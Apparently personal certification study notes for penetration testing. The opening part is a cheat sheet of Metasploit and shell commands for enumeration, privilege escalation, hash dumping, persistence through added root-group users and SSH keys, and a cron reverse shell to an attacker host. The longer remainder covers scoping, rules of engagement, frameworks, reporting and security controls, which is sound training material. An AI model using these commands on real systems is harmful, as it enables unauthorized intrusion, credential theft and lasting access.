<IP> > exploit > pwd > background > sessions -u 1 > sessions 2 > sysinfo > getuid > shell > /bin/bash -i > whoami > uname -r > uname -a > ifconfig > ip a s > netstat -antp > ps aux > env > terminate > sessions -u 1 > search enum_configs > set SESSION <Meterpreter> > run > loot > serach env platform:linux > use post/multi/gather/env > set SESSION <id> > run > search enum_network > use post/linux/gather/enum_network > set SESSION <id> > run > search enum_protections > set SESSION <id> > run > notes > search enum_system > set SESSION <id> > run > serach checkcontainer > set SESSION <id> > run > search enum_users_history > set SESSION <id> > run Linux Privilege Escalation > setg RHOSTS <IP> > search ssh_login > use auxiliary/scanner/ssh/ssh_login > set USERNAME jackie > set PASSWORD password > exploit > sessions 1 > pwd > whoami > background > sessions -u 1 > sessions 2 > sysinfo > getuid > bash > ps aux > cat /bin/check-down > chkrootkit --help > chkrootkit -V > background > saerch chkrootkit > show options > set CHKROOKIT /bin/chkrootkit > set SESSION <mp-id> > set LHOST eth1 > exploit > /bin/bash -i Dumping Hashes with Hashdump > setg RHOSTS <IP> > use exploit/linux/samba/is_known_pipename > exploit > sessions -u 1 > sessions 2 > sysinfo > getuid > background > search hashdump > use post/linux/gather/hashdump > show options > set SESSION <id> > run > loot > sessions 3 > /bin/bash -i Establishing Persistence on Linux > use auxiliary/scanner/ssh/ssh_login > set USERNAME jackie > set PASSWORD password > exploit > sessions > sessions -u 1 > sessions 2 > search chkrootkit > set SESSION <id> > set CHKROOTKIT /bin/chkrootkit > set LHOSTS eth1 > set LPORT <> > exploit > sessions -u 3 > sessions 4 > getuid > shell > /bin/bash -i > useradd -m ftp -s /bin/bash > passwd ftp // enter: password123 > cat /etc/passwd > groups root > usermod -aG root ftp > groups ftp > usermod -u 15 ftp > cat /etc/passwd > search platform:linux persistence > use exploit/linux/local/cron_persistence > set SESSION 4 > set LPORT 4422 > set LHOST eth1 > exploit // fail > use exploit/linux/local/service_persistence > set SESSION 4 > set payload cmd/unix/reverse_python > set LPORT 4422 > exploit // fail > set target 4 > exploit // fail > use exploit/linux/local/sshkey_persistence > set CREATESSHFOLDER true > set SESSION 4 > exploit > loot > cat private_key.txt // use from loot > nano ssh_key // paste the key > chmod 0400 ssh_key > ssh -i ssh_key root@<target-ip> > Exploitation Banner Grabbing > nmap -sV -O <IP> > ls -la /usr/share/nmap/scripts | grep banner > nmap -sV --script=banner <IP> > nc <IP> <Port> Nmap Vulnerability Scanning > nmap -sV -O <IP> > ls -la /usr/share/nmap/scripts/ | grep http > nmap -sV --script=http-enum <IP> Post Exploitation Methodology Local Enumeration Transferring Files Upgrading Shells Privilege Escalation Persistence Dumping & Cracking Hashes Pivoting Clearing Tracks Windows Enum Users & Groups > use post/windows/gather/enum_logged_on_users > set SESSION 1 > run > shell > net user administrator > whoami /priv > route print > netstat -ano > netsh firewall show state > tasklist /SVC // Enumerate the list of running processes > show_mount > use post/windows/gather/win_privs > set SESSION 1 > run > use post/windows/gather/enum_applications > use post/windows/gather/enum_computers > use post/windows/gather/enum_patches Linux Enum > useradd bob -s /bin/bash > githum.com/rebootuser/LinEnum Windows Priv Escalation > PrivescCheck > search web_delivery > use exploit/multi/script/web_delivery > set TARGET PSH\ (Binary) > set payload windows/shell/reverse_tcp > set PSH-EncodedCommand false > set LHOST eth1 > exploit > copy & paste in windows cmd > whoami > background > use shell_to_meterpreter > set LHOST eth1 > set WIN_TRANSFER VBS > exploit Linux Priv Escalation // Exploiting Permissions > whoami > cat /etc/passwd > find / -not -type l -perm -o+w > cat /etc/shadow > openssl passwd -1 -salt abc password > nano /etc/shadow // Remove * & paste the hash > su // Exploiting SUDO Privs > cat /etc/passwd > sudo -l > sudo man cat > !/bin/bash Linux Persistence // Via SSH Keys > ssh student@<IP> // password:password > ls -la > cat wait > cd .ssh > cat id_rsa > cat authorized_key > scp student@<IP>:~/.ssh/id_rsa . // copy id_rsa locally > chmod 400 id_rsa > ssh student@<IP> // password:password > rm wait > ssh -i id_rsa student@<IP> // Via Cron Jobs > ssh student@<IP> // password:password > cat /etc/cron* > echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<kali-ip>/<port> 0>&1'" > cron > cat cron > crontab -i cron > crontab -l > rm wait > nc -nvlp 1234 >

Intro 48 Hour Exam 35 Questions Links https://medium.com/@ls5747670/my-ejptv2-experience-and-tips-2024-a91954726fc5 https://infosecwriteups.com/mastering-the-ejptv2-exam-ec38daec16bc https://aluvi.notion.site/eJPTv2-Complete-Cheat-sheet-d5b052c525d94c89b5d41183bd5c39fd https://cisofy.com/lynis/ https://github.com/xonoxitron/INE-eJPT-Certification-Exam-Notes-Cheat-Sheet https://github.com/Nater-aide/EJPT/blob/main/Notes/Wordpress.md https://github.com/miazga-git/eJPT-Study-Notes https://github.com/syselement/ine-notes/blob/main/ejpt/ejpt-cheatsheet.md https://github.com/Nater-aide/EJPT/blob/main/Notes/MYSQL.mdk

Chapter 1 Objective 1.1 Scope Definition Regulations, Frameworks, and Standards Privacy: Ensure compliance with privacy laws (e.g., GDPR, HIPAA). Notes Security: Adhere to security standards (e.g., ISO/IEC 27001, NIST). Notes Rules of Engagement Exclusions Define what systems, networks, or data are off-limits. Example: Exclude the production environment to avoid disruptions. Test Cases Specify the scenarios and conditions under which the testing will occur. Example: Testing for SQL injection vulnerabilities in the login module. Escalation Process Establish a protocol for addressing critical issues discovered during testing. Example: Immediate notification to the security team if a critical vulnerability is found. Testing Window Determine the timeframe for when testing will occur. Example: Conduct tests during off-peak hours to minimize business impact. Key Points: The timeline for the engagement and when testing can be conducted. What locations, systems, applications, or other potential targets are in scope. Types of tests that are allowed or disallowed. Data handling requirements for information gathered during the penetration test. What behaviors to expect from the target. What resources are committed to the test. Legal concerns. When and how communications will occur. Who to contact in case of particular events. Who is permitted to engage the pentest team. Agreement Types Non-Disclosure Agreement (NDA) → Legal documents that help enforce confiden- tial relationships between two parties. NDAs protect one or more parties in the relationship and typically outline the parties, what information should be considered confidential, how long the agreement lasts, when and how disclosure is acceptable, and how confidential information should be handled. Master Service Agreement (MSA) → Defines the terms that the organizations will use for future work. This makes ongoing engagements and SOWs much easier to work through, as the overall MSA is referred to in the SOW, prevent- ing the need to renegotiate terms. MSAs are common when organizations anticipate working together over a period of time or when a support contract is created. Statement of Work (SoW) → A document that defines the purpose of the work, what work will be done, what deliverables will be created, the timeline for the work to be completed, the price for the work, and any additional terms and conditions that cover the work. Alternatives to statements of work include statements of objectives (SOOs) and performance work statements (PWSs), both of which are used by the U.S. government. Terms of Service (ToS) → Defines the rules that users must agree to abide by to use a service. Ex. Conditions under which the penetration testing services will be rendered, including acceptable use policies. Target Selection Classless Inter-Domain Routing (CIDR) Ranges → Defines a range of IP addresses for network targeting. Example: The CIDR range 192.168.1.0/24 includes all IP addresses from 192.168.1.0 to 192.168.1.255. Domains Specifies domain names to be tested. Example: Testing example.com and its subdomains (sub.example.com). Internet Protocol (IP) Addresses Individual IP addresses selected for penetration testing. Example: Testing specific servers at 192.168.1.10 and 192.168.1.20. Uniform Resource Locator (URL) Specific web addresses within domains targeted for testing. Example: Testing the URL http://example.com/login for vulnerabilities. Assessment Types Web Focuses on identifying vulnerabilities in web applications and websites. Example: Testing for cross-site scripting (XSS) and SQL injection. Comparison: Web assessments often involve different tools and techniques than network assessments due to the nature of web technologies. Network Examines network infrastructure, including routers, switches, and firewalls, for security weaknesses. Example: Scanning for open ports, weak configurations, and vulnerabilities in network devices. Comparison: Network assessments are more focused on connectivity and data flow between systems, unlike web or mobile assessments. Mobile Targets vulnerabilities in mobile applications and devices. Example: Testing for insecure data storage, insufficient encryption, and insecure communication in a mobile app. Comparison: Mobile assessments require different skill sets and tools compared to web and network assessments due to the unique operating systems and application environments. Cloud Assesses security of cloud-based infrastructure, platforms, and services. Example: Evaluating the security of AWS, Azure, or Google Cloud configurations. Comparison: Cloud assessments involve understanding cloud-specific security practices and compliance requirements, different from on-premises assessments. Application Programming Interface (API) Examines the security of APIs, which facilitate communication between different software components. Example: Testing for insecure authentication, authorization, and input validation in APIs. Comparison: API assessments are specialized and focus on data exchange mechanisms, unlike general application assessments. Application Broad category encompassing the assessment of software applications, including desktop and enterprise applications. Example: Testing for buffer overflows, improper error handling, and insecure code practices. Comparison: Application assessments are broader and can include aspects of web, mobile, and API assessments. Wireless Focuses on the security of wireless networks, including Wi-Fi and Bluetooth. Example: Testing for weak encryption protocols (e.g., WEP), unauthorized access points, and insecure wireless configurations. Comparison: Wireless assessments require specific tools and techniques, such as Wi-Fi sniffers and signal analyzers, differing from wired network assessments. Shared Responsibility Model Hosting Provider Responsibilities Infrastructure Security: Ensuring the physical and foundational security of servers, storage, and networking components. Example: Data center security, hardware maintenance, and network security (e.g., DDoS protection). Compliance: Adhering to regulatory and industry standards. Example: Compliance with SOC 2, ISO 27001, or PCI-DSS for data protection and privacy. Customer Responsibilities Data Security: Protecting data within the cloud environment, including encryption and access controls. Example: Encrypting sensitive data stored in cloud databases. Configuration Management: Properly configuring cloud services and resources. Example: Setting up secure configurations for virtual machines and storage buckets to prevent unauthorized access. User Access Management: Managing user identities and access to resources. Example: Implementing multi-factor authentication (MFA) and least privilege access controls. Penetration Tester Responsibilities Testing Authorization: Obtaining necessary permissions to conduct penetration testing. Example: Securing formal approval from both the customer and hosting provider before initiating tests. Scope Adherence: Testing within the agreed-upon scope and respecting rules of engagement. Example: Only testing authorized systems and avoiding any non-approved systems or data. Vulnerability Reporting: Providing detailed reports on discovered vulnerabilities and recommendations for remediation. Example: Creating comprehensive reports with clear, actionable recommendations for improving security. Third-Party Responsibilities Service Integration Security: Ensuring the security of third-party services integrated into the customer’s environment. Example: Securely integrating third-party payment processors or authentication services. Compliance and Audits: Adhering to relevant compliance requirements and undergoing regular security audits. Example: Ensuring third-party vendors comply with GDPR or HIPAA regulations as required. Incident Response: Collaborating in incident response activities when security breaches involve third-party services. Example: Coordinating with third-party providers to quickly address and mitigate breaches. Legal and Ethical Considerations Authorization Letters Purpose: Formal documents granting permission to conduct penetration testing. Example: A written authorization from a company’s senior management allowing a pentester to test specific systems. Importance: Protects both the client and the tester legally, ensuring all parties are aware of the testing activities. Content: Should include scope, timeframe, and any limitations of the test. Example: An authorization letter specifying the systems to be tested, the methods to be used, and the duration of the testing period. Mandatory Reporting Requirements Legal Obligation: Certain vulnerabilities or breaches must be reported to relevant authorities or stakeholders. Example: Reporting discovered vulnerabilities to the organization’s security team and, if applicable, to regulatory bodies. Compliance: Adhering to industry standards and regulations that mandate reporting. Example: GDPR requires notifying authorities within 72 hours of discovering a data breach. Ethical Responsibility: Ensuring transparency and accountability by reporting findings that could impact stakeholders. Example: Reporting a critical vulnerability in a financial system that could lead to significant data loss or theft. Risk to the Penetration Tester Legal Risks: Potential legal consequences if testing is done without proper authorization. Example: Facing charges of unauthorized access or data tampering if tests are conducted without explicit permission. Physical Risks: Possible dangers when testing physical security controls or on-site systems. Example: Risk of injury when physically accessing and testing security of data centers or other secure facilities. Professional Risks: Reputation and career implications if testing is conducted unethically or results are mishandled. Example: Loss of credibility or job if a tester fails to disclose a significant vulnerability or mishandles sensitive information. Objective 1.2 Peer Review Purpose: Ensures accuracy and thoroughness of the penetration testing results through review by fellow security professionals. Example: A pentester’s report is reviewed by another team member for completeness and accuracy. Stakeholder Alignment Purpose: Ensures all relevant parties are informed and in agreement with the objectives and scope of the penetration test. Example: Regular meetings with IT, security teams, and management to align on testing goals and expectations. Importance: Facilitates a unified approach and understanding among stakeholders. Outcome: Cohesive and coordinated efforts towards improving security. Root Cause Analysis Purpose: Identifies the underlying reasons for discovered vulnerabilities or security issues. Example: Analyzing why a SQL injection vulnerability existed in an application’s code. Importance: Helps prevent recurrence by addressing the fundamental issues rather than just symptoms. Outcome: Implementation of long-term fixes and improvements in security practices. Escalation Path Purpose: Defines a clear process for escalating critical issues discovered during testing. Example: Immediate notification to senior management if a critical vulnerability is found. Importance: Ensures swift action and decision-making to address serious risks. Outcome: Timely and effective mitigation of critical vulnerabilities. Secure Distribution Purpose: Ensures sensitive findings and reports are shared securely with authorized personnel only. Example: Using encrypted emails or secure portals to share test results. Importance: Protects sensitive information from unauthorized access and potential misuse. Outcome: Maintains confidentiality and integrity of the findings. Articulation of Risk, Severity, and Impact Purpose: Clearly communicates the risks, severity, and potential impact of identified vulnerabilities. Example: Explaining the potential business impact of a critical vulnerability in layman’s terms to non-technical stakeholders. Importance: Helps stakeholders understand the urgency and significance of the findings. Outcome: Informed decision-making regarding remediation priorities and resource allocation. Goal Reprioritization Purpose: Adjusts testing and remediation goals based on new findings and evolving business needs. Example: Shifting focus to newly discovered critical vulnerabilities that pose immediate risks. Importance: Ensures resources are effectively utilized to address the most pressing security issues. Outcome: Dynamic and responsive approach to penetration testing and remediation. Business Impact Analysis Purpose: Assesses the potential impact of vulnerabilities on business operations. Example: Evaluating how a vulnerability could affect customer data and business continuity. Importance: Provides context for understanding the real-world implications of security issues. Outcome: Prioritized remediation efforts based on business risk. Client Acceptance Purpose: Obtains formal approval from the client for the findings, recommendations, and remediation plan. Example: Presenting the final report to the client and gaining their agreement on the next steps. Importance: Ensures client buy-in and commitment to implementing recommended security measures. Outcome: Successful collaboration and alignment on security improvements. Objective 1.3 Open Source Security Testing Methodology Manual (OSSTMM) Purpose: Provides a comprehensive methodology for security testing and analysis. A broad penetration testing methodology guide with information about analysis, metrics, workflows, human security, physical security, and wireless security. Unfortunately, it has not been updated since 2010, resulting in more modern techniques and technologies not being included in the manual. Council of Registered Ethical Security Testers (CREST) Purpose: Offers accreditation and certification for organizations and individuals in the security testing industry. Key Features: Sets professional standards for security testing and provides guidelines and certifications. Penetration Testing Execution Standard (PTES) Purpose: Provides a detailed framework for performing penetration testing. Key Features: Covers seven phases: Pre-engagement Interactions, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, and Reporting. It ranges from pre-engagement interactions like scoping and questions to ask clients, to details such as how to deal with third parties. It also includes a full range of penetration testing techniques and concepts, making it one of the most complete and modern openly available penetration testing standards. MITRE ATT&CK Notes OWASP Top 10 Purpose: Lists the top 10 most critical web application security risks. Key Features: Focuses on prevalent and severe web application vulnerabilities like SQL injection, XSS, and more. OWASP Mobile Application Security Verification Standard (MASVS) Purpose: Provides a framework for securing mobile applications. Key Features: Defines security requirements and verification levels for mobile app security. Purdue Model Purpose: A reference model for industrial control systems (ICS) security. Key Features: Divides ICS networks into different levels, each with specific security considerations. The Purdue Model, also known as the Purdue Enterprise Reference Architecture (PERA), is a widely accepted framework used to segment and secure Industrial Control Systems (ICS) environments. It organizes the ICS architecture into multiple layers, each with specific roles and security requirements. This model helps in understanding how to effectively secure and manage different components of an ICS network. Layers of the Purdue Model Level 0: Physical Process Description: The actual physical processes and machinery, including sensors, actuators, and other devices that interact directly with the physical environment. Examples: Sensors measuring temperature, pressure, or flow rates. Actuators controlling valves, motors, or pumps. Level 1: Basic Control Description: The control devices that directly manage Level 0 equipment, often referred to as programmable logic controllers (PLCs) or remote terminal units (RTUs). Examples: PLCs and RTUs executing control logic to automate processes. Human-Machine Interfaces (HMIs) at the local control level. Level 2: Supervisory Control Description: Systems that provide supervisory control and data acquisition (SCADA) functions, aggregating data from Level 1 and providing oversight and control. Examples: SCADA systems for real-time monitoring and control. HMIs at the supervisory control level. Level 3: Operations Management Description: Systems used for production control, including batch management, production scheduling, and other operational functions. Examples: Manufacturing Execution Systems (MES) managing production workflows. Systems for coordinating production processes and ensuring quality control. Level 4: Enterprise Systems Description: Enterprise-level systems that manage business logistics, planning, and enterprise resource management. Examples: Enterprise Resource Planning (ERP) systems. Customer Relationship Management (CRM) systems. Level 5: External Networks Description: Connections to external networks, including business partners, suppliers, and the internet. Examples: Connections to corporate networks. External cloud services. Threat Modeling Frameworks DREAD (Damage potential, Reproducibility, Exploitability, Affected users, Discoverability) Purpose: Provides a quantitative assessment of threat severity. Components: Damage Potential: Measures the potential impact of a threat. Example: High damage potential for a vulnerability that allows full system takeover. Reproducibility: Assesses how easily the threat can be reproduced. Example: A threat that can be reproduced consistently scores high. Exploitability: Evaluates how easy it is to exploit the threat. Example: A threat that requires minimal technical skill to exploit scores high. Affected Users: Estimates the number of users impacted by the threat. Example: A vulnerability affecting all users of an application scores high. Discoverability: Measures how likely the threat is to be discovered. Example: A vulnerability visible in public-facing code scores high. Usage: Helps prioritize threats based on their overall risk score. STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege) Purpose: Identifies potential threats by categorizing them into six types. Components: Spoofing: Impersonation of a user or device. Example: Unauthorized access using stolen credentials. Tampering: Unauthorized alteration of data. Example: Modifying transaction details in a database. Repudiation: Denying an action or transaction without proof. Example: A user denying the submission of a malicious request. Information Disclosure: Unauthorized exposure of information. Example: Data leakage through unsecured channels. Denial of Service (DoS): Disruption of service availability. Example: Overloading a server to prevent legitimate access. Elevation of Privilege: Gaining unauthorized higher-level access. Example: Exploiting a vulnerability to gain admin rights. Usage: Provides a structured approach to identify and categorize threats during system design and analysis. OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation) Purpose: Focuses on organizational risk management and strategic assessment. Components: Identifying Critical Assets: Recognize and prioritize key organizational assets. Example: Identifying customer data and intellectual property as critical assets. Threat Profiling: Determine potential threats to each critical asset. Example: Profiling threats such as cyber-attacks, insider threats, and natural disasters. Vulnerability Assessment: Identify vulnerabilities that can be exploited by threats. Example: Assessing systems for software bugs, misconfigurations, and weak access controls. Risk Mitigation Planning: Develop strategies to mitigate identified risks. Example: Implementing security controls and response plans for identified vulnerabilities. Usage: Provides a comprehensive approach for assessing and managing risks at an organizational level. Objective 1.4 Format Alignment Purpose: Ensures consistency and clarity in report presentation. Example: Using a standard template with predefined sections, headings, and formatting styles. Importance: Enhances readability and professionalism, making it easier for stakeholders to understand and act on the findings. Documentation Specifications Purpose: Establishes detailed guidelines for documenting the penetration test. Example: Specifying the format for capturing screenshots, logs, and evidence of findings. Importance: Ensures comprehensive and clear documentation that can be easily reviewed and referenced. Risk Scoring Purpose: Provides a quantifiable measure of the risk associated with identified vulnerabilities. Example: Using a scoring system like CVSS (Common Vulnerability Scoring System) to rate the severity of each vulnerability. Importance: Helps prioritize remediation efforts based on the risk level. Definitions Purpose: Clarifies terminology and concepts used in the report. Example: Defining terms like “exploit,” “vulnerability,” “risk,” and “threat.” Importance: Ensures all stakeholders have a common understanding of the terms used in the report. Report Components Executive Summary Purpose: Provides a high-level overview of the test findings and recommendations. Example: Summarizing key vulnerabilities, overall risk level, and major recommendations. Importance: Allows executives and non-technical stakeholders to grasp the essential outcomes and actions needed. Methodology Purpose: Describes the testing approach and techniques used. Example: Detailing the phases of the test, tools used, and the scope of testing. Importance: Ensures transparency and reproducibility of the test. Detailed Findings Purpose: Provides an in-depth description of each identified vulnerability. Example: Including vulnerability description, evidence, risk rating, and potential impact. Importance: Offers detailed insights for technical teams to understand and address the issues. Attack Narrative Purpose: Describes the steps taken to exploit vulnerabilities in a narrative format. Example: Detailing the sequence of actions taken to compromise a system and the outcomes. Importance: Illustrates the practical impact of vulnerabilities and the effectiveness of defenses. Recommendations Purpose: Offers guidance on how to remediate identified vulnerabilities. Example: Providing specific remediation steps, configuration changes, or patches needed. Importance: Provides actionable steps to mitigate risks and improve security posture. Remediation Guidance: Specific instructions for fixing the identified vulnerabilities. Test Limitations and Assumptions Purpose: Clarifies the scope limitations and assumptions made during testing. Example: Noting any areas not tested, assumptions about network configurations, or system states. Importance: Sets realistic expectations about the coverage and accuracy of the test results. Reporting Considerations Legal Purpose: Ensures the report complies with legal requirements and protects the interests of all parties. Example: Including disclaimers about the use of the report and confidentiality agreements. Importance: Avoids legal liabilities and ensures proper use of the report. Ethical Purpose: Adheres to ethical standards in reporting and handling findings. Example: Ensuring responsible disclosure of vulnerabilities and protecting sensitive information. Importance: Maintains professional integrity and trustworthiness. Quality Control (QC) Purpose: Ensures accuracy and completeness of the report through thorough review. Example: Peer reviewing the report and verifying all findings and recommendations. Importance: Enhances the reliability and credibility of the report. Artificial Intelligence (AI) Purpose: Utilizes AI tools to enhance the report’s insights and accuracy. Example: Using AI to analyze patterns, detect anomalies, or automate parts of the reporting process. Importance: Improves the efficiency and depth of analysis in the report. Objective 1.5 Technical Controls System Hardening: Secures system configurations to reduce vulnerabilities. Sanitize User Input/Parameterize Queries: Prevents injection attacks by properly handling inputs. Multifactor Authentication (MFA): Adds layers of verification to enhance access security. Encryption: Protects data confidentiality by converting it into unreadable formats. Process-level Remediation: Addresses vulnerabilities within applications and processes. Patch Management: Regularly updates systems to fix known vulnerabilities. Key Rotation: Periodically changes cryptographic keys to limit exposure risks. Certificate Management: Manages digital certificates for secure communications. Secrets Management Solution: Secures sensitive information like passwords and tokens. Network Segmentation: Divides networks into isolated segments to enhance security. Infrastructure Security Controls: Secures physical and virtual infrastructure components. Administrative Controls Role-based Access Control (RBAC) → Notes Secure Software Development Life Cycle (SDLC): Integrates security into the software development process to produce secure software. Minimum Password Requirements: Sets baseline standards for password creation to enhance account security. Policies and Procedures: Establishes a framework for organizational security practices and employee behavior, supported by training and awareness programs. Operational Controls Job Rotation: Reduces risk of fraud and errors by changing employees’ roles periodically. Time-of-Day Restrictions: Limits access to specific times to reduce unauthorized access risks. Mandatory Vacations: Detects and prevents fraudulent activities by requiring regular vacations. User Training: Educates employees on security policies and best practices to reduce human error and enhance overall security. Physical Controls Access Control Vestibule: Controls and monitors entry to secure areas, preventing unauthorized access. Biometric Controls: Authenticates individuals using unique biological characteristics for high security. Video Surveillance: Monitors and records activities to deter unauthorized actions and provide evidence.